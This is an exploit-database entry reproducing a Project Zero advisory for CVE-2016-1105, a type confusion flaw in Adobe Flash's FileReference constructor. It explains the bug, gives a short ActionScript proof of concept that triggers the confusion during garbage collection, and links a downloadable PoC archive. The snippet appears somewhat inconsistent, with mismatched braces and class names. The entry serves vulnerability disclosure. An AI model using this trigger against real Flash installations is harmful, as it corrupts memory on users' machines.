Adobe Flash - Type Confusion in FileReference Constructor

Author: Google Security Research
type: dos
platform: multiple
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date_added: 2016-05-17 
date_updated: 2016-05-17 
verified: 1 
codes: CVE-2016-1105 
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){

			this.__proto__ = {};
			this.__proto__.__constructor__ = flash.display.BitmapData;
			super(1000, 1000);


			}


	function mysubclass(){


		this.watch("name", myfunc);
		_global.ASnative(2204, 200)(this); // FileReference constructor
		this.unwatch("name"); // let the reference free

		}
	}

        var a = new subclass();
        a = 0;
        // wait for GC


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip